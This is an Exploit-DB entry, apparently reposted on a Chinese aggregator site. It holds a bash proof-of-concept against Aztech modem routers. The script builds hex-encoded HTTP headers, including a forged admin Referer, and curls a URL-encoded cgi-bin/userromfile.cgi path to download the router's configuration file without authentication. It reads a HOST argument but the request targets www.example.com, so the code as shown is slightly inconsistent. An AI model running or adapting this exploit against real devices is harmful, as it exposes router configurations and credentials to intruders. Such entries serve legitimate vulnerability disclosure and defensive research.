Aztech Modem Routers – Information Disclosure

• Exploit Database
• 12 阅读

• 作者： Eric Fajardo
  日期： 2014-09-15
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/39314/

• /*
  source: https://www.securityfocus.com/bid/69808/info
  
  Aztech Modem Routers are prone to an information-disclosure vulnerability.
  
  An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. 
  */
  
  HOST=$1
  PORT=$2
  PARM1="\x48\x6f\x73\x74\x3a\x20"
  PARM2="\x50\x72\x6f\x78\x79\x2d\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65"
  PARM3="\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x69\x6d\x61\x67\x65\x2f\x77\x65\x62\x70\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38"
  PARM4="\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x33\x37\x2e\x30\x2e\x32\x30\x36\x32\x2e\x31\x30\x33\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36"
  PARM5="\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x61\x64\x6d\x53\x65\x74\x74\x69\x6e\x67\x73\x2e\x61\x73\x70"
  PARM6="\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x64\x65\x66\x6c\x61\x74\x65\x2c\x73\x64\x63\x68"
  PARM7="\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x38"
  
  NARGS=1
  BARGS=65
  main() {
  printf "\---------------------------------------------\n";
  printf "++ Aztech Modem Get Configuration File Exploit\n";
  printf "++ Usage: $0 TARGET PORT\n";
  printf "++ Ex: $0 192.168.254.254 80\n\n";
  
  }
  
  [[ $# -le $NARGS ]] && main && exit $BARGS
  
  curl -i -H "$PARM1" \
  -H "$PARM2" \
  -H "$PARM3" \
  -H "$PARM4" \
  -H "$PARM5" \
  -H "$PARM6" \
  -H "$PARM7" http://www.example.com:$PORT/%63%67%69%2d%62%69%6e%2f%75%73%65%72%72%6f%6d%66%69%6c%65%2e%63%67%69 > romfile.cfg